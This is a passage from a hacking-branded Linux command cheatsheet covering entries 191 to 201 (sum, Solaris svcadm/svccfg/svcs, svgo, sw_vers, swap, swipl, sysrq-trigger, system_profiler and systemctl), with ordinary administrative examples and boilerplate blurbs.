Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command su in a clear format. This allows users to quickly access the needed information for su without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for su are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
191 - 🖥️sum
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sum command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗███╗ ███╗
# ██╔════╝██║ ██║████╗ ████║
# ███████╗██║ ██║██╔████╔██║
# ╚════██║██║ ██║██║╚██╔╝██║
# ███████║╚██████╔╝██║ ╚═╝ ██║
# ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
# The sum command prints checksum and block counts for each input file.
sum readme.txt
45252 5
#==============================##==============================#
# CMD #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command sum in a clear format. This allows users to quickly access the needed information for sum without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for sum are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
192 - 🖥️svcadm
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the svcadm command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗ ██████╗ █████╗ ██████╗ ███╗ ███╗
# ██╔════╝██║ ██║██╔════╝██╔══██╗██╔══██╗████╗ ████║
# ███████╗██║ ██║██║ ███████║██║ ██║██╔████╔██║
# ╚════██║╚██╗ ██╔╝██║ ██╔══██║██║ ██║██║╚██╔╝██║
# ███████║ ╚████╔╝ ╚██████╗██║ ██║██████╔╝██║ ╚═╝ ██║
# ╚══════╝ ╚═══╝ ╚═════╝╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝
# svcadm
# Manipulate service instances (Solaris)
# Enable a service in the service database:
svcadm enable service_name
# Disable service:
svcadm disable service_name
# Restart a running service:
svcadm restart service_name
# Command service to re-read configuration files:
svcadm refresh service_name
# Clear a service from maintenance state and command it to start:
svcadm clear service_name
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command svcadm in a clear format. This allows users to quickly access the needed information for svcadm without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for svcadm are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
193 - 🖥️svccfg
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the svccfg command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗ ██████╗ ██████╗███████╗ ██████╗
# ██╔════╝██║ ██║██╔════╝██╔════╝██╔════╝██╔════╝
# ███████╗██║ ██║██║ ██║ █████╗ ██║ ███╗
# ╚════██║╚██╗ ██╔╝██║ ██║ ██╔══╝ ██║ ██║
# ███████║ ╚████╔╝ ╚██████╗╚██████╗██║ ╚██████╔╝
# ╚══════╝ ╚═══╝ ╚═════╝ ╚═════╝╚═╝ ╚═════╝
# svccfg
# Import, export, and modify service configurations (Solaris)
# Validate configuration file:
svccfg validate smf.xml
# Export service configurations to file:
svccfg export servicename > smf.xml
# Import/update service configurations from file:
svccfg import smf.xml
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command svccfg in a clear format. This allows users to quickly access the needed information for svccfg without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for svccfg are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
194 - 🖥️svcs
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the svcs command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗ ██████╗███████╗
# ██╔════╝██║ ██║██╔════╝██╔════╝
# ███████╗██║ ██║██║ ███████╗
# ╚════██║╚██╗ ██╔╝██║ ╚════██║
# ███████║ ╚████╔╝ ╚██████╗███████║
# ╚══════╝ ╚═══╝ ╚═════╝╚══════╝
# svcs
# List information about running services (Solaris)
# List all running services:
svcs
# List services that are not running:
svcs -vx
# List information about a service:
svcs apache
# Show location of service log file:
svcs -L apache
# Display end of a service log file:
tail $(svcs -L apache)
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command svcs in a clear format. This allows users to quickly access the needed information for svcs without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for svcs are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
195 - 🖥️svgo
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the svgo command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗ ██████╗ ██████╗
# ██╔════╝██║ ██║██╔════╝ ██╔═══██╗
# ███████╗██║ ██║██║ ███╗██║ ██║
# ╚════██║╚██╗ ██╔╝██║ ██║██║ ██║
# ███████║ ╚████╔╝ ╚██████╔╝╚██████╔╝
# ╚══════╝ ╚═══╝ ╚═════╝ ╚═════╝
# svgo
# SVG Optimizer: a Nodejs-based tool for optimizing Scalable Vector Graphics files.
# It applies a series of transformation rules (plugins), which can be toggled individually.
# Optimize a file using the default plugins (overwrites the original file):
svgo test.svg
# Optimize a file and save the result to another file:
svgo test.svg test.min.svg
# Optimize all SVG files within a folder (overwrites the original files):
svgo -f path/to/folder/with/svg/files
# Optimize all SVG files within a folder and save the resulting files to another folder:
svgo -f path/to/input/folder -o path/to/output/folder
# Optimize SVG content passed from another command, and save the result to a file:
cat test.svg | svgo -i - -o test.min.svg
# Optimize a file and print out the result:
svgo test.svg -o -
# Optimize a file making sure a given plugin is enabled:
svgo --enable=plugin_name
# Show available plugins:
svgo --show-plugins
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command svgo in a clear format. This allows users to quickly access the needed information for svgo without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for svgo are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
196 - 🖥️sw_vers
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sw_vers command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗ ██╗ ██╗███████╗██████╗ ███████╗
# ██╔════╝██║ ██║ ██║ ██║██╔════╝██╔══██╗██╔════╝
# ███████╗██║ █╗ ██║ ██║ ██║█████╗ ██████╔╝███████╗
# ╚════██║██║███╗██║ ╚██╗ ██╔╝██╔══╝ ██╔══██╗╚════██║
# ███████║╚███╔███╔╝███████╗╚████╔╝ ███████╗██║ ██║███████║
# ╚══════╝ ╚══╝╚══╝ ╚══════╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝╚══════╝
# sw_vers
# Print Mac OSX Software versioning information.
# Print OSX Version
sw_vers -productVersion
# Print OSX Build
sw_vers -buildVersion
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command sw_vers in a clear format. This allows users to quickly access the needed information for sw_vers without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for sw_vers are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
197 - 🖥️swap
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the swap command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗ █████╗ ██████╗
# ██╔════╝██║ ██║██╔══██╗██╔══██╗
# ███████╗██║ █╗ ██║███████║██████╔╝
# ╚════██║██║███╗██║██╔══██║██╔═══╝
# ███████║╚███╔███╔╝██║ ██║██║
# ╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝
# Clear the swap space forcing everything back to main memory in Linux
swapoff -a; sudo swapon -a
# Explanation: Note: if you do not have enough main memory the swapoff will fail.
# Limitations: This works only in Linux.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command swap in a clear format. This allows users to quickly access the needed information for swap without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for swap are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
198 - 🖥️swipl
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the swipl command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗██╗██████╗ ██╗
# ██╔════╝██║ ██║██║██╔══██╗██║
# ███████╗██║ █╗ ██║██║██████╔╝██║
# ╚════██║██║███╗██║██║██╔═══╝ ██║
# ███████║╚███╔███╔╝██║██║ ███████╗
# ╚══════╝ ╚══╝╚══╝ ╚═╝╚═╝ ╚══════╝
# swipl
# SWI-Prolog is a versatile implementation of the Prolog language.
# run plolog interpreter in interactive mode
swipl
# consult file.pl, run goal mygoal(3,foo)
# and then halt the interpreter without entering interactive mode
swipl -s file.pl -g "mygoal(3,foo)." -t halt.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command swipl in a clear format. This allows users to quickly access the needed information for swipl without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for swipl are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
199 - 🖥️sysrq-trigger
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sysrq-trigger command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗███████╗██████╗ ██████╗ ████████╗██████╗ ██╗ ██████╗ ██████╗ ███████╗██████╗
# ██╔════╝╚██╗ ██╔╝██╔════╝██╔══██╗██╔═══██╗ ╚══██╔══╝██╔══██╗██║██╔════╝ ██╔════╝ ██╔════╝██╔══██╗
# ███████╗ ╚████╔╝ ███████╗██████╔╝██║ ██║█████╗██║ ██████╔╝██║██║ ███╗██║ ███╗█████╗ ██████╔╝
# ╚════██║ ╚██╔╝ ╚════██║██╔══██╗██║▄▄ ██║╚════╝██║ ██╔══██╗██║██║ ██║██║ ██║██╔══╝ ██╔══██╗
# ███████║ ██║ ███████║██║ ██║╚██████╔╝ ██║ ██║ ██║██║╚██████╔╝╚██████╔╝███████╗██║ ██║
# ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ ╚══▀▀═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
# The "magic SysRq key" provides a way to send commands
# directly to the kernel through the /proc filesystem
# kernel documentation: https://www.mjmwired.net/kernel/Documentation/sysrq.txt
# using keyboard: Alt-SyqRq-KEY
# activate the magic SysRq option (root)
echo 1 > /proc/sys/kernel/sysrq
# activate the magic SysRq option (sudo)
echo 1 | suto tee /proc/sys/kernel/sysrq
# permanently activate sysrq
echo "kernel.sysrq = 1" >> /etc/sysctl.conf
# k – Kills all the process running on the current virtual console.
# s – This will attempt to sync all the mounted file system.
# b – Immediately reboot the system, without unmounting partitions or syncing.
# e – Sends SIGTERM to all process except init.
# m – Output current memory information to the console.
# i – Send the SIGKILL signal to all processes except init
# r – Switch the keyboard from raw mode (the mode used by programs such as X11), to XLATE mode.
# s – sync all mounted file system.
# t – Output a list of current tasks and their information to the console.
# u – Remount all mounted filesystems in readonly mode.
# o – Shutdown the system immediately.
# p – Print the current registers and flags to the console.
# 0-9 – Sets the console log level, controlling which kernel messages will be printed to your console.
# f – Will call oom_kill to kill process which takes more memory.
# h – Used to display the help. But any other keys than the above listed will print help.
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command sysrq-trigger in a clear format. This allows users to quickly access the needed information for sysrq-trigger without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for sysrq-trigger are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
200 - 🖥️system_profiler
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the system_profiler command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗███████╗████████╗███████╗███╗ ███╗ ██████╗ ██████╗ ██████╗ ███████╗██╗██╗ ███████╗██████╗
# ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║ ██╔══██╗██╔══██╗██╔═══██╗██╔════╝██║██║ ██╔════╝██╔══██╗
# ███████╗ ╚████╔╝ ███████╗ ██║ █████╗ ██╔████╔██║ ██████╔╝██████╔╝██║ ██║█████╗ ██║██║ █████╗ ██████╔╝
# ╚════██║ ╚██╔╝ ╚════██║ ██║ ██╔══╝ ██║╚██╔╝██║ ██╔═══╝ ██╔══██╗██║ ██║██╔══╝ ██║██║ ██╔══╝ ██╔══██╗
# ███████║ ██║ ███████║ ██║ ███████╗██║ ╚═╝ ██║███████╗██║ ██║ ██║╚██████╔╝██║ ██║███████╗███████╗██║ ██║
# ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝
# system_profiler
# Report system hardware and software configuration (Mac OS X)
# Display a full system profiler report which can be opened by System Profiler.app:
system_profiler -xml > MyReport.spx
# Display a hardware overview (Model, CPU, Memory, Serial, etc):
system_profiler SPHardwareDataType
# Print the system serial number:
system_profiler SPHardwareDataType|grep "Serial Number (system)" |awk '{print $4}'
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command system_profiler in a clear format. This allows users to quickly access the needed information for system_profiler without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for system_profiler are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
201 - 🖥️systemctl
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the systemctl command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗███████╗████████╗███████╗███╗ ███╗ ██████╗████████╗██╗
# ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║██╔════╝╚══██╔══╝██║
# ███████╗ ╚████╔╝ ███████╗ ██║ █████╗ ██╔████╔██║██║ ██║ ██║
# ╚════██║ ╚██╔╝ ╚════██║ ██║ ██╔══╝ ██║╚██╔╝██║██║ ██║ ██║
# ███████║ ██║ ███████║ ██║ ███████╗██║ ╚═╝ ██║╚██████╗ ██║ ███████╗
# ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝
# List all loaded/active units
systemctl list-units
# Check the status of a service
systemctl status foo.service
# Start a service
systemctl start foo.service
# Restart a service
systemctl restart foo.service
# Stop a service
systemctl stop foo.service
# Reload a service's configuration
systemctl reload foo.service
# Enable a service to startup on boot
systemctl enable foo.service
# Disable a service to startup on boot
systemctl disable foo.service
# List the dependencies of a service
# when no service name is specified, lists the dependencies of default.target
systemctl list-dependencies foo.service
# List currently loaded targets
systemctl list-units --type=target
# Change current target
systemctl isolate foo.target
# Change default target
systemctl enable foo.target
#==============================#
# CMD SYSTEMCTL
#==============================##==============================#
# We can even use systemctl to get detailed information about an service
systemctl status sshd -l
#
systemctl --type=service
#
systemctl status ntpd.service
#
systemctl isolate multi-user.target
#
systemctl disable $unit.service
#
systemctl stop $unit.service
#
systemctl start $unit.service
#
systemctl list-unit-files | grep enabled
# Show services that are set to start up automatically on a systemd based system.
systemctl stop SERVICENAME
# systemd stop running service
systemctl start SERVICENAME
# start SERVICENAME
systemctl restart SERVICENAME
# systemd restart running service
systemctl reload SERVICENAME
# reloads all config files for service
systemctl status SERVICENAME
# systemctl show if service is running
systemctl enable SERVICENAME
# systemctl - enable service at boot
systemctl disable SERVICENAME
# systemctl - disable service at boot
systemctl show SERVICENAME
# show systemctl service info
systemctl -H target command SERVICENAME
